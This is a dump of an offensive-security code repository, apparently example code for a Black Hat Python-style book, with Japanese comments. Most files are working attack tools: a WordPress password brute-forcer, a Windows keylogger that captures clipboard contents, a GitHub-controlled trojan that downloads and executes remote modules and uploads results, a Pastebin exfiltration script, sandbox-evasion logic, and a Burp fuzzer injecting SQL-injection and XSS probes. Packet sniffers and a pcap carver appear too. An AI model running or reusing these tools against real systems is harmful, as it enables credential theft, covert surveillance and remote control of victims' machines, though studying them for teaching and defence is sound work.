self.offset = header[4] 17 | self.ttl = header[5] 18 | self.protocol_num = header[6] 19 | self.sum = header[7] 20 | self.src = header[8] 21 | self.dst = header[9] 22 | 23 | # IPアドレスを可読な形で変数に格納 24 | self.src_address = ipaddress.ip_address(self.src) 25 | self.dst_address = ipaddress.ip_address(self.dst) 26 | 27 | # プロトコルの定数値を名称にマッピング 28 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 29 | try: 30 | self.protocol = self.protocol_map[self.protocol_num] 31 | except Exception as e: 32 | print('%s No protocol for %s' % (e, self.protocol_num)) 33 | self.protocol = str(self.protocol_num) 34 | 35 | def sniff(host): 36 | if os.name == 'nt': 37 | socket_protocol = socket.IPPROTO_IP 38 | else: 39 | socket_protocol = socket.IPPROTO_ICMP 40 | 41 | sniffer = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket_protocol) 42 | sniffer.bind((host, 0)) 43 | sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) 44 | 45 | if os.name == 'nt': 46 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON) 47 | 48 | try: 49 | while True: 50 | # パケットの読み込み 51 | raw_buffer = sniffer.recvfrom(65535)[0] 52 | # バッファーの最初の20バイトからIP構造体を作成 53 | ip_header = IP(raw_buffer[0:20]) 54 | # 検出されたプロトコルとホストを出力 55 | print('Protocol: %s %s -> %s' % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)) 56 | 57 | except KeyboardInterrupt: 58 | # Windowsの場合はプロミスキャスモードを無効化 59 | if os.name == 'nt': 60 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 61 | sys.exit() 62 | 63 | if __name__ == '__main__': 64 | if len(sys.argv) == 2: 65 | host = sys.argv[1] 66 | else: 67 | host = '192.168.1.206' 68 | sniff(host) 69 | -------------------------------------------------------------------------------- /chapter-05/wp_killer.py: -------------------------------------------------------------------------------- 1 | from io import BytesIO 2 | from lxml import etree 3 | from queue import Queue 4 | 5 | import requests 6 | import sys 7 | import threading 8 | import time 9 | 10 | SUCCESS = 'Welcome to WordPress!' 11 | TARGET = "http://127.0.0.1:31337/wp-login.php" 12 | WORDLIST = 'cain.txt' 13 | 14 | 15 | def get_words(): 16 | with open(WORDLIST) as f: 17 | raw_words = f.read() 18 | 19 | words = Queue() 20 | for word in raw_words.split(): 21 | words.put(word) 22 | return words 23 | 24 | 25 | def get_params(content): 26 | params = dict() 27 | parser = etree.HTMLParser() 28 | tree = etree.parse(BytesIO(content), parser=parser) 29 | for elem in tree.findall('//input'): 30 | name = elem.get('name') 31 | if name is not None: 32 | params[name] = elem.get('value', None) 33 | return params 34 | 35 | 36 | class Bruter: 37 | def __init__(self, username, url): 38 | self.username = username 39 | self.url = url 40 | self.found = False 41 | print(f'\nBrute Force Attack beginning on {url}.\n') 42 | print("Finished the setup where username = %s\n" % username) 43 | 44 | def run_bruteforce(self, passwords): 45 | for _ in range(10): 46 | t = threading.Thread(target=self.web_bruter, args=(passwords,)) 47 | t.start() 48 | 49 | def web_bruter(self, passwords): 50 | session = requests.Session() 51 | resp0 = session.get(self.url) 52 | params = get_params(resp0.content) 53 | params['log'] = self.username 54 | 55 | while not passwords.empty() and not self.found: 56 | try: 57 | time.sleep(5) 58 | passwd = passwords.get() 59 | print(f'Trying username/password {self.username}/{passwd:<10}') 60 | params['pwd'] = passwd 61 | resp1 = session.post(self.url, data=params) 62 | 63 | if SUCCESS in resp1.content.decode(): 64 | self.found = True 65 | print(f"\nBruteforcing successful.") 66 | print("Username is %s" % self.username) 67 | print("Password is %s\n" % passwd) 68 | except: 69 | pass 70 | 71 | 72 | if __name__ == '__main__': 73 | b = Bruter('admin', TARGET) 74 | words = get_words() 75 | b.run_bruteforce(words) 76 | -------------------------------------------------------------------------------- /chapter-08/keylogger.py: -------------------------------------------------------------------------------- 1 | from ctypes import byref, create_string_buffer, c_ulong, windll 2 | from io import StringIO 3 | 4 | import pythoncom 5 | import pyWinhook as pyHook 6 | import sys 7 | import time 8 | import win32clipboard 9 | 10 | 11 | TIMEOUT = 60 * 10 12 | 13 | 14 | class KeyLogger: 15 | def __init__(self): 16 | self.current_window = None 17 | 18 | def get_current_process(self): 19 | hwnd = windll.user32.GetForegroundWindow() 20 | pid = c_ulong(0) 21 | windll.user32.GetWindowThreadProcessId(hwnd, byref(pid)) 22 | process_id = f'{pid.value}' 23 | 24 | executable = create_string_buffer(512) 25 | h_process = windll.kernel32.OpenProcess( 26 | 0x400 | 0x10, False, pid) 27 | windll.psapi.GetModuleBaseNameA( 28 | h_process, None, byref(executable), 512) 29 | 30 | window_title = create_string_buffer(512) 31 | windll.user32.GetWindowTextA(hwnd, byref(window_title), 512) 32 | try: 33 | self.current_window = window_title.value.decode() 34 | except UnicodeDecodeError as e: 35 | print(f'{e}: window name unknown') 36 | 37 | print('\n', process_id, executable.value.decode(), 38 | self.current_window) 39 | 40 | windll.kernel32.CloseHandle(hwnd) 41 | windll.kernel32.CloseHandle(h_process) 42 | 43 | def mykeystroke(self, event): 44 | if event.WindowName != self.current_window: 45 | self.get_current_process() 46 | if 32 < event.Ascii < 127: 47 | print(chr(event.Ascii), end='') 48 | else: 49 | if event.Key == 'V': 50 | win32clipboard.OpenClipboard() 51 | value = win32clipboard.GetClipboardData() 52 | win32clipboard.CloseClipboard() 53 | print(f'[PASTE] - {value}') 54 | else: 55 | print(f'{event.Key}') 56 | return True 57 | 58 | 59 | def run(): 60 | save_stdout = sys.stdout 61 | sys.stdout = StringIO() 62 | 63 | kl = KeyLogger() 64 | hm = pyHook.HookManager() 65 | hm.KeyDown = kl.mykeystroke 66 | hm.HookKeyboard() 67 | while time.thread_time() < TIMEOUT: 68 | pythoncom.PumpWaitingMessages() 69 | 70 | log = sys.stdout.getvalue() 71 | sys.stdout = save_stdout 72 | return log 73 | 74 | 75 | if __name__ == '__main__': 76 | print(run()) 77 | print('done.') -------------------------------------------------------------------------------- /chapter-06/bhp_fuzzer.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from burp import IBurpExtender 3 | from burp import IIntruderPayloadGeneratorFactory 4 | from burp import IIntruderPayloadGenerator 5 | from java.util import List, ArrayList 6 | 7 | import random 8 | 9 | class BurpExtender(IBurpExtender, IIntruderPayloadGeneratorFactory): 10 | def registerExtenderCallbacks(self, callbacks): 11 | self._callbacks = callbacks 12 | self._helpers = callbacks.getHelpers() 13 | 14 | callbacks.registerIntruderPayloadGeneratorFactory(self) 15 | return 16 | 17 | def getGeneratorName(self): 18 | return "BHP Payload Generator" 19 | 20 | def createNewInstance(self, attack): 21 | return BHPFuzzer(self, attack) 22 | 23 | class BHPFuzzer(IIntruderPayloadGenerator): 24 | def __init__(self, extender, attack): 25 | self._extender = extender 26 | self._helpers = extender._helpers 27 | self._attack = attack 28 | self.max_payloads = 10 29 | self.num_iterations = 0 30 | 31 | return 32 | 33 | def hasMorePayloads(self): 34 | if self.num_iterations == self.max_payloads: 35 | return False 36 | else: 37 | return True 38 | 39 | def getNextPayload(self, current_payload): 40 | # 文字列に変換する 41 | payload = ''.join(chr(x) for x in current_payload) 42 | 43 | # POSTメソッドで送信されるペイロードに単純な改変を加えるメソッドを呼び出す 44 | payload = self.mutate_payload(payload) 45 | 46 | # ファジングの回数のカウンターをインクリメントする 47 | self.num_iterations += 1 48 | 49 | return payload 50 | 51 | def reset(self): 52 | self.num_iterations = 0 53 | return 54 | 55 | def mutate_payload(self, original_payload): 56 | # ファジングの方法をひとつ選ぶ、もしくは外部スクリプトを呼び出す 57 | picker = random.randint(1, 3) 58 | 59 | # ペイロードからランダムな箇所を選ぶ 60 | offset = random.randint(0, len(original_payload) - 1) 61 | front, back = original_payload[:offset], original_payload[offset:] 62 | 63 | # 先ほど選んだ箇所でSQLインジェクションを試す 64 | if picker == 1: 65 | front += "'" 66 | 67 | # クロスサイトスクリプティングの脆弱性がないか試す 68 | elif picker == 2: 69 | front += "" 70 | 71 | # オリジナルのペイロードのランダムな箇所で、選択した部分を繰り返す 72 | elif picker == 3: 73 | chunk_length = random.randint(0, len(back)-1) 74 | repeater = random.randint(1, 10) 75 | for _ in range(repeater): 76 | front += original_payload[:offset + chunk_length] 77 | 78 | return front + back 79 | -------------------------------------------------------------------------------- /chapter-09/paste_exfil.py: -------------------------------------------------------------------------------- 1 | from win32com import client 2 | 3 | import random 4 | import requests 5 | import time 6 | 7 | 8 | username = 'tim' 9 | password = 'seKret' 10 | api_dev_key = 'cd3xxx001xxxx02' 11 | 12 | 13 | def plain_paste(title, contents): 14 | login_url = 'https://pastebin.com/api/api_login.php' 15 | login_data = { 16 | 'api_dev_key': api_dev_key, 17 | 'api_user_name': username, 18 | 'api_user_password': password, 19 | } 20 | r = requests.post(login_url, data=login_data) 21 | api_user_key = r.text 22 | 23 | paste_url = 'https://pastebin.com/api/api_post.php' 24 | paste_data = { 25 | 'api_paste_name': title, 26 | 'api_paste_code': contents.decode(), 27 | 'api_dev_key': api_dev_key, 28 | 'api_user_key': api_user_key, 29 | 'api_option': 'paste', 30 | 'api_paste_private': 0, 31 | } 32 | r = requests.post(paste_url, data=paste_data) 33 | print(r.status_code) 34 | print(r.text) 35 | 36 | 37 | def wait_for_browser(browser): 38 | while browser.ReadyState != 4 and browser.ReadyState != 'complete': 39 | time.sleep(0.1) 40 | 41 | 42 | def random_sleep(): 43 | time.sleep(random.randint(5, 10)) 44 | 45 | 46 | def login(ie): 47 | full_doc = ie.Document.all 48 | for elem in full_doc: 49 | if elem.id == 'loginform-username': 50 | elem.setAttribute('value', username) 51 | elif elem.id == 'loginform-password': 52 | elem.setAttribute('value', password) 53 | 54 | random_sleep() 55 | if ie.Document.forms[0].id == 'w0': 56 | ie.document.forms[0].submit() 57 | wait_for_browser(ie) 58 | 59 | 60 | def submit(ie, title, contents): 61 | full_doc = ie.Document.all 62 | for elem in full_doc: 63 | if elem.id == 'postform-name': 64 | elem.setAttribute('value', title) 65 | 66 | elif elem.id == 'postform-text': 67 | elem.setAttribute('value', contents) 68 | 69 | #elif elem.id == 'postform-status': 70 | # elem.setAttribute('value', 2) 71 | 72 | if ie.Document.forms[0].id == 'w0': 73 | ie.document.forms[0].submit() 74 | random_sleep() 75 | wait_for_browser(ie) 76 | 77 | 78 | def ie_paste(title, contents): 79 | ie = client.Dispatch('InternetExplorer.Application') 80 | ie.Visible = 1 81 | 82 | ie.Navigate('https://pastebin.com/login') 83 | wait_for_browser(ie) 84 | login(ie) 85 | random_sleep() 86 | 87 | ie.Navigate('https://pastebin.com/') 88 | wait_for_browser(ie) 89 | submit(ie, title, contents.decode()) 90 | 91 | ie.Quit() 92 | 93 | 94 | if __name__ == '__main__': 95 | ie_paste('title', b'contents') -------------------------------------------------------------------------------- /chapter-10/bhservice_task.vbs: -------------------------------------------------------------------------------- 1 | ' Adapted from: 2 | ' http://gallery.technet.microsoft.com/scriptcenter/03f21031-07de-4a26-9a04-4871cd425870 3 | On Error Resume Next 4 | Dim fso 5 | Set fso = WScript.CreateObject("Scripting.Filesystemobject") 6 | Set f = fso.OpenTextFile("C:\windows\temp\bhpoutput.txt", 2, true) 7 | strComputer = "." 8 | Set objWMIService = GetObject("winmgmts:" _ 9 | & "{impersonationLevel=impersonate}!\\" & strComputer & "\root\cimv2") 10 | 11 | Set colSettings = objWMIService.ExecQuery _ 12 | ("Select * from Win32_OperatingSystem") 13 | 14 | For Each objOperatingSystem in colSettings 15 | f.WriteLine "OS Name: " & objOperatingSystem.Name & vbCrLf 16 | f.WriteLine "Version: " & objOperatingSystem.Version & vbCrLf 17 | f.WriteLine "Service Pack: " & _ 18 | objOperatingSystem.ServicePackMajorVersion _ 19 | & "." & objOperatingSystem.ServicePackMinorVersion & vbCrLf 20 | f.WriteLine "OS Manufacturer: " & objOperatingSystem.Manufacturer & vbCrLf 21 | f.WriteLine "Windows Directory: " & _ 22 | objOperatingSystem.WindowsDirectory & vbCrLf 23 | f.WriteLine "Locale: " & objOperatingSystem.Locale & vbCrLf 24 | f.WriteLine "Available Physical Memory: " & _ 25 | objOperatingSystem.FreePhysicalMemory & vbCrLf 26 | f.WriteLine "Total Virtual Memory: " & _ 27 | objOperatingSystem.TotalVirtualMemorySize & vbCrLf 28 | f.WriteLine "Available Virtual Memory: " & _ 29 | objOperatingSystem.FreeVirtualMemory & vbCrLf 30 | f.WriteLine "Size stored in paging files: " & _ 31 | objOperatingSystem.SizeStoredInPagingFiles & vbCrLf 32 | Next 33 | 34 | Set colSettings = objWMIService.ExecQuery _ 35 | ("Select * from Win32_ComputerSystem") 36 | 37 | For Each objComputer in colSettings 38 | f.WriteLine "System Name: " & objComputer.Name & vbCrLf 39 | f.WriteLine "System Manufacturer: " & objComputer.Manufacturer & vbCrLf 40 | f.WriteLine "System Model: " & objComputer.Model & vbCrLf 41 | f.WriteLine "Time Zone: " & objComputer.CurrentTimeZone & vbCrLf 42 | f.WriteLine "Total Physical Memory: " & _ 43 | objComputer.TotalPhysicalMemory & vbCrLf 44 | Next 45 | 46 | Set colSettings = objWMIService.ExecQuery _ 47 | ("Select * from Win32_Processor") 48 | 49 | For Each objProcessor in colSettings 50 | f.WriteLine "System Type: " & objProcessor.Architecture & vbCrLf 51 | f.WriteLine "Processor: " & objProcessor.Description & vbCrLf 52 | Next 53 | 54 | Set colSettings = objWMIService.ExecQuery _ 55 | ("Select * from Win32_BIOS") 56 | 57 | For Each objBIOS in colSettings 58 | f.WriteLine "BIOS Version: " & objBIOS.Version & vbCrLf 59 | Next 60 | 61 | f.Close 62 | -------------------------------------------------------------------------------- /chapter-03/sniffer_ip_header_parse_ctypes.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | 7 | from ctypes import * 8 | import socket 9 | import struct 10 | 11 | class IP(Structure): 12 | _fields_ = [ 13 | ("ver", c_ubyte, 4), # 4 bit unsigned char 14 | ("ihl", c_ubyte, 4), # 4 bit unsigned char 15 | ("tos", c_ubyte, 8), # 1 byte unsigned char 16 | ("len", c_ushort, 16), # 2 byte unsigned short 17 | ("id", c_ushort, 16), # 2 byte unsigned short 18 | ("offset", c_ushort, 16), # 2 byte unsigned short 19 | ("ttl", c_ubyte, 8), # 1 byte unsigned char 20 | ("protocol_num", c_ubyte, 8), # 1 byte unsigned char 21 | ("sum", c_ushort, 16), # 2 byte unsigned short 22 | ("src", c_uint32, 32), # 4 byte unsigned int 23 | ("dst", c_uint32, 32) # 4 byte unsigned int 24 | ] 25 | def __new__(cls, socket_buffer=None): 26 | # 入力バッファを構造体に格納 27 | return cls.from_buffer_copy(socket_buffer) 28 | 29 | def __init__(self, socket_buffer=None): 30 | # IPアドレスを可読な形で変数に格納 31 | self.src_address=socket.inet_ntoa(struct.pack(" %s' % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)) 63 | 64 | except KeyboardInterrupt: 65 | # Windowsの場合はプロミスキャスモードを無効化 66 | if os.name == 'nt': 67 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 68 | sys.exit() 69 | 70 | if __name__ == '__main__': 71 | if len(sys.argv) == 2: 72 | host = sys.argv[1] 73 | else: 74 | host = '192.168.1.206' 75 | sniff(host) -------------------------------------------------------------------------------- /chapter-10/file_monitor1.py: -------------------------------------------------------------------------------- 1 | # Modified example that is originally given here: 2 | # http://timgolden.me.uk/python/win32_how_do_i/watch_directory_for_changes.html 3 | 4 | import os 5 | import tempfile 6 | import threading 7 | import win32con 8 | import win32file 9 | 10 | FILE_CREATED = 1 11 | FILE_DELETED = 2 12 | FILE_MODIFIED = 3 13 | FILE_RENAMED_FROM = 4 14 | FILE_RENAMED_TO = 5 15 | 16 | FILE_LIST_DIRECTORY = 0x0001 17 | PATHS = ['c:\\WINDOWS\\Temp', tempfile.gettempdir()] 18 | 19 | 20 | def monitor(path_to_watch): 21 | h_directory = win32file.CreateFile( 22 | path_to_watch, 23 | FILE_LIST_DIRECTORY, 24 | win32con.FILE_SHARE_READ | win32con.FILE_SHARE_WRITE | win32con.FILE_SHARE_DELETE, 25 | None, 26 | win32con.OPEN_EXISTING, 27 | win32con.FILE_FLAG_BACKUP_SEMANTICS, 28 | None 29 | ) 30 | 31 | while True: 32 | try: 33 | results = win32file.ReadDirectoryChangesW( 34 | h_directory, 35 | 1024, 36 | True, 37 | win32con.FILE_NOTIFY_CHANGE_ATTRIBUTES | 38 | win32con.FILE_NOTIFY_CHANGE_DIR_NAME | 39 | win32con.FILE_NOTIFY_CHANGE_FILE_NAME | 40 | win32con.FILE_NOTIFY_CHANGE_LAST_WRITE | 41 | win32con.FILE_NOTIFY_CHANGE_SECURITY | 42 | win32con.FILE_NOTIFY_CHANGE_SIZE, 43 | None, 44 | None 45 | ) 46 | for action, file_name in results: 47 | full_filename = os.path.join(path_to_watch, file_name) 48 | if action == FILE_CREATED: 49 | print(f'[+] Created {full_filename}') 50 | 51 | elif action == FILE_DELETED: 52 | print(f'[-] Deleted {full_filename}') 53 | 54 | elif action == FILE_MODIFIED: 55 | print(f'[*] Modified {full_filename}') 56 | try: 57 | print('[vvv] Dumping contents ... ') 58 | with open(full_filename) as f: 59 | contents = f.read() 60 | print(contents) 61 | print('[^^^] Dump complete.') 62 | except Exception as e: 63 | print(f'[!!!] Dump failed. {e}') 64 | 65 | elif action == FILE_RENAMED_FROM: 66 | print(f'[>] Renamed from {full_filename}') 67 | elif action == FILE_RENAMED_TO: 68 | print(f'[<] Renamed to {full_filename}') 69 | else: 70 | print(f'[?] Unknown action on {full_filename}') 71 | except KeyboardInterrupt: 72 | break 73 | 74 | except Exception: 75 | pass 76 | 77 | 78 | if __name__ == '__main__': 79 | for path in PATHS: 80 | monitor_thread = threading.Thread( 81 | target=monitor, args=(path,)) 82 | monitor_thread.start() 83 | -------------------------------------------------------------------------------- /chapter-07/github_trojan.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import github3 3 | import importlib 4 | import json 5 | import random 6 | import sys 7 | import threading 8 | import time 9 | 10 | from datetime import datetime 11 | 12 | 13 | def github_connect(): 14 | with open('mytoken.txt') as f: 15 | token = f.read() 16 | user = '' 17 | sess = github3.login(token=token) 18 | return sess.repository(user, 'bhptrojan') 19 | 20 | 21 | def get_file_contents(dirname, module_name, repo): 22 | return repo.file_contents(f'{dirname}/{module_name}').content 23 | 24 | 25 | class Trojan: 26 | def __init__(self, id): 27 | self.id = id 28 | self.config_file = f'{id}.json' 29 | self.data_path = f'data/{id}/' 30 | self.repo = github_connect() 31 | 32 | def get_config(self): 33 | config_json = get_file_contents('config', self.config_file, self.repo) 34 | config = json.loads(base64.b64decode(config_json)) 35 | 36 | for task in config: 37 | if task['module'] not in sys.modules: 38 | exec("import %s" % task['module']) 39 | return config 40 | 41 | def module_runner(self, module): 42 | result = sys.modules[module].run() 43 | self.store_module_result(result) 44 | 45 | def store_module_result(self, data): 46 | message = datetime.now().isoformat() 47 | remote_path = f'data/{self.id}/{message}.data' 48 | bindata = bytes('%r' % data, 'utf-8') 49 | self.repo.create_file(remote_path, message, base64.b64encode(bindata)) 50 | 51 | def run(self): 52 | while True: 53 | config = self.get_config() 54 | for task in config: 55 | thread = threading.Thread( 56 | target=self.module_runner, 57 | args=(task['module'],)) 58 | thread.start() 59 | time.sleep(random.randint(1, 10)) 60 | 61 | time.sleep(random.randint(30*60, 3*60*60)) 62 | 63 | 64 | class GitImporter: 65 | def __init__(self): 66 | self.current_module_code = "" 67 | 68 | def find_module(self, name, path=None): 69 | print("[*] Attempting to retrieve %s" % name) 70 | self.repo = github_connect() 71 | 72 | new_library = get_file_contents('modules', f'{name}.py', self.repo) 73 | if new_library is not None: 74 | self.current_module_code = base64.b64decode(new_library) 75 | return self 76 | 77 | def load_module(self, name): 78 | spec = importlib.util.spec_from_loader(name, loader=None, 79 | origin=self.repo.git_url) 80 | new_module = importlib.util.module_from_spec(spec) 81 | exec(self.current_module_code, new_module.__dict__) 82 | sys.modules[spec.name] = new_module 83 | return new_module 84 | 85 | if __name__ == '__main__': 86 | sys.meta_path.append(GitImporter()) 87 | trojan = Trojan('abc') 88 | trojan.run() 89 | -------------------------------------------------------------------------------- /chapter-03/sniffer_with_icmp.py: -------------------------------------------------------------------------------- 1 | import ipaddress 2 | import os 3 | import socket 4 | import struct 5 | import sys 6 | 7 | class IP: 8 | def __init__(self, buff=None): 9 | header = struct.unpack('> 4 11 | self.ihl = header[0] & 0xF 12 | 13 | self.tos = header[1] 14 | self.len = header[2] 15 | self.id = header[3] 16 | self.offset = header[4] 17 | self.ttl = header[5] 18 | self.protocol_num = header[6] 19 | self.sum = header[7] 20 | self.src = header[8] 21 | self.dst = header[9] 22 | 23 | # IPアドレスを可読な形で変数に格納 24 | self.src_address = ipaddress.ip_address(self.src) 25 | self.dst_address = ipaddress.ip_address(self.dst) 26 | 27 | # プロトコルの定数値を名称にマッピング 28 | self.protocol_map = {1: "ICMP", 6: "TCP", 17: "UDP"} 29 | try: 30 | self.protocol = self.protocol_map[self.protocol_num] 31 | except Exception as e: 32 | print('%s No protocol for %s' % (e, self.protocol_num)) 33 | self.protocol = str(self.protocol_num) 34 | 35 | class ICMP: 36 | def __init__(self, buff): 37 | header = struct.unpack(' %s' % (ip_header.protocol, ip_header.src_address, ip_header.dst_address)) 66 | print(f'Version: {ip_header.ver}') 67 | print(f'Header Length: {ip_header.ihl} TTL: {ip_header.ttl}') 68 | 69 | # ICMPパケットの位置を計算 70 | offset = ip_header.ihl * 4 71 | buf = raw_buffer[offset:offset + 8] 72 | # ICMP構造体を作成 73 | icmp_header = ICMP(buf) 74 | print('ICMP -> Type: %s Code: %s\n' % (icmp_header.type, icmp_header.code)) 75 | 76 | except KeyboardInterrupt: 77 | if os.name == 'nt': 78 | sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF) 79 | sys.exit() 80 | 81 | if __name__ == '__main__': 82 | if len(sys.argv) == 2: 83 | host = sys.argv[1] 84 | else: 85 | host = '192.168.1.203' 86 | sniff(host) 87 | -------------------------------------------------------------------------------- /chapter-08/sandbox_detect.py: -------------------------------------------------------------------------------- 1 | from ctypes import byref, c_uint, c_ulong, sizeof, Structure, windll 2 | import random 3 | import sys 4 | import time 5 | import win32api 6 | 7 | 8 | class LASTINPUTINFO(Structure): 9 | _fields_ = [ 10 | ('cbSize', c_uint), 11 | ('dwTime', c_ulong) 12 | ] 13 | 14 | 15 | def get_last_input(): 16 | struct_lastinputinfo = LASTINPUTINFO() 17 | struct_lastinputinfo.cbSize = sizeof(LASTINPUTINFO) 18 | windll.user32.GetLastInputInfo(byref(struct_lastinputinfo)) 19 | run_time = windll.kernel32.GetTickCount() 20 | elapsed = run_time - struct_lastinputinfo.dwTime 21 | print( 22 | f"[*] It's been {elapsed} milliseconds since the last event.") 23 | return elapsed 24 | 25 | # while True: 26 | # get_last_input() 27 | # time.sleep(1) 28 | 29 | 30 | class Detector: 31 | def __init__(self): 32 | self.double_clicks = 0 33 | self.keystrokes = 0 34 | self.mouse_clicks = 0 35 | 36 | def get_key_press(self): 37 | for i in range(0, 0xff): 38 | state = win32api.GetAsyncKeyState(i) 39 | if state & 0x0001: 40 | if i == 0x1: 41 | self.mouse_clicks += 1 42 | return time.time() 43 | elif i > 32 and i < 127: 44 | self.keystrokes += 1 45 | return None 46 | 47 | def detect(self): 48 | previous_timestamp = None 49 | first_double_click = None 50 | double_click_threshold = 0.35 51 | 52 | max_double_clicks = 10 53 | max_keystrokes = random.randint(10, 25) 54 | max_mouse_clicks = random.randint(5, 25) 55 | max_input_threshold = 30000 56 | 57 | last_input = get_last_input() 58 | if last_input >= max_input_threshold: 59 | sys.exit(0) 60 | 61 | detection_complete = False 62 | while not detection_complete: 63 | keypress_time = self.get_key_press() 64 | if keypress_time is not None and previous_timestamp is not None: 65 | elapsed = keypress_time - previous_timestamp 66 | 67 | if elapsed <= double_click_threshold: 68 | self.mouse_clicks -= 2 69 | self.double_clicks += 1 70 | if first_double_click is None: 71 | first_double_click = time.time() 72 | else: 73 | if self.double_clicks >= max_double_clicks: 74 | if (keypress_time - first_double_click <= 75 | (max_double_clicks*double_click_threshold)): 76 | sys.exit(0) 77 | if (self.keystrokes >= max_keystrokes and 78 | self.double_clicks >= max_double_clicks and 79 | self.mouse_clicks >= max_mouse_clicks): 80 | detection_complete = True 81 | 82 | previous_timestamp = keypress_time 83 | elif keypress_time is not None: 84 | previous_timestamp = keypress_time 85 | 86 | 87 | if __name__ == '__main__': 88 | d = Detector() 89 | d.detect() 90 | print('okay.') -------------------------------------------------------------------------------- /chapter-06/bhp_wordlist.py: -------------------------------------------------------------------------------- 1 | # -*- coding: utf-8 -*- 2 | from burp import IBurpExtender 3 | from burp import IContextMenuFactory 4 | 5 | from java.util import ArrayList 6 | from javax.swing import JMenuItem 7 | 8 | from datetime import datetime 9 | from HTMLParser import HTMLParser 10 | 11 | import re 12 | 13 | 14 | class TagStripper(HTMLParser): 15 | def __init__(self): 16 | HTMLParser.__init__(self) 17 | self.page_text = [] 18 | 19 | def handle_data(self, data): 20 | self.page_text.append(data) 21 | 22 | def handle_comment(self, data): 23 | self.page_text.append(data) 24 | 25 | def strip(self, html): 26 | self.feed(html) 27 | return " ".join(self.page_text) 28 | 29 | 30 | class BurpExtender(IBurpExtender, IContextMenuFactory): 31 | def registerExtenderCallbacks(self, callbacks): 32 | self._callbacks = callbacks 33 | self._helpers = callbacks.getHelpers() 34 | self.context = None 35 | self.hosts = set() 36 | 37 | # よく知られたものから始める 38 | self.wordlist = set(['password']) 39 | 40 | # 作成した拡張機能をセットする 41 | callbacks.setExtensionName('BHP Wordlist') 42 | callbacks.registerContextMenuFactory(self) 43 | return 44 | 45 | def createMenuItems(self, context_menu): 46 | self.context = context_menu 47 | menu_list = ArrayList() 48 | menu_list.add(JMenuItem( 49 | "Create Wordlist", actionPerformed=self.wordlist_menu)) 50 | return menu_list 51 | 52 | def wordlist_menu(self, event): 53 | # ユーザーがクリックした箇所の詳細を取得する 54 | http_traffic = self.context.getSelectedMessages() 55 | for traffic in http_traffic: 56 | http_service = traffic.getHttpService() 57 | host = http_service.getHost() 58 | self.hosts.add(host) 59 | 60 | http_response = traffic.getResponse() 61 | if http_response: 62 | self.get_words(http_response) 63 | self.display_wordlist() 64 | return 65 | 66 | def get_words(self, http_response): 67 | headers, body = http_response.tostring().split('\r\n\r\n', 1) 68 | 69 | # テキストでない部分は飛ばす 70 | if headers.lower().find("content-type: text") == -1: 71 | return 72 | tag_stripper = TagStripper() 73 | page_text = tag_stripper.strip(body) 74 | words = re.findall(r'[a-zA-Z]\w{2,}', page_text) 75 | 76 | for word in words: 77 | # 長い文字列を除去する 78 | if len(word) <= 12: 79 | self.wordlist.add(word.lower()) 80 | return 81 | 82 | def mangle(self, word): 83 | year = datetime.now().year 84 | suffixes = ['', '1', '!', year] 85 | mangled = list() 86 | for password in (word, word.capitalize()): 87 | for suffix in suffixes: 88 | mangled.append("%s%s" % (password, suffix)) 89 | return mangled 90 | 91 | def display_wordlist(self): 92 | print("#!comment: BHP Wordlist for site(s) %s" % ", ".join(self.hosts)) 93 | for word in sorted(self.wordlist): 94 | for password in self.mangle(word): 95 | print(password) 96 | return 97 | -------------------------------------------------------------------------------- /chapter-04/recapper.py: -------------------------------------------------------------------------------- 1 | from scapy.all import TCP, rdpcap 2 | import collections 3 | import os 4 | import re 5 | import sys 6 | import zlib 7 | 8 | OUTDIR = '/home/kali/pictures' 9 | PCAPS = '/home/kali/Downloads' 10 | 11 | Response = collections.namedtuple('Response', ['header', 'payload']) 12 | 13 | def get_header(payload): 14 | try: 15 | header_raw = payload[:payload.index(b'\r\n\r\n')+2] 16 | except ValueError: 17 | sys.stdout.write('-') 18 | sys.stdout.flush() 19 | return None 20 | 21 | try: 22 | header = dict(re.findall(r'(?P.*?): (?P.*?)\r\n', header_raw.decode())) 23 | if 'Content-Type' not in header: 24 | return None 25 | except: 26 | return None 27 | 28 | return header 29 | 30 | 31 | def extract_content(Response, content_name='image'): 32 | try: 33 | content, content_type = None, None 34 | if content_name in Response.header['Content-Type']: 35 | content_type = Response.header['Content-Type'].split('/')[1] 36 | content = Response.payload[Response.payload.index(b'\r\n\r\n')+4:] 37 | 38 | if 'Content-Encoding' in Response.header: 39 | if Response.header['Content-Encoding'] == "gzip": 40 | content = zlib.decompress(Response.payload, zlib.MAX_WBITS | 16) 41 | elif Response.header['Content-Encoding'] == "deflate": 42 | content = zlib.decompress(Response.payload) 43 | except: 44 | pass 45 | 46 | return content, content_type 47 | 48 | 49 | class Recapper: 50 | def __init__(self, fname): 51 | pcap = rdpcap(fname) 52 | self.sessions = pcap.sessions() 53 | self.responses = list() 54 | 55 | def get_responses(self): 56 | for session in self.sessions: 57 | payloads = list() 58 | for packet in self.sessions[session]: 59 | try: 60 | if packet[TCP].dport == 80 or packet[TCP].sport == 80: 61 | if b'\r\n\r\n' in bytes(packet[TCP].payload): 62 | payloads.append(b'') 63 | payloads[-1] += bytes(packet[TCP].payload) 64 | except IndexError: 65 | sys.stdout.write('x') 66 | sys.stdout.flush() 67 | 68 | for payload in payloads: 69 | if payload: 70 | header = get_header(payload) 71 | if header is None: 72 | continue 73 | self.responses.append(Response(header=header, payload=payload)) 74 | print('') 75 | 76 | def write(self, content_name): 77 | for i, response in enumerate(self.responses): 78 | content, content_type = extract_content(response, content_name) 79 | if content and content_type: 80 | fname = os.path.join(OUTDIR, f'ex_{i}.{content_type}') 81 | print(f'Writing {fname}') 82 | with open(fname, 'wb') as f: 83 | f.write(content) 84 | 85 | 86 | if __name__ == '__main__': 87 | pfile = os.path.join(PCAPS, 'pcap.pcap') 88 | recapper = Recapper(pfile) 89 | recapper.get_responses() 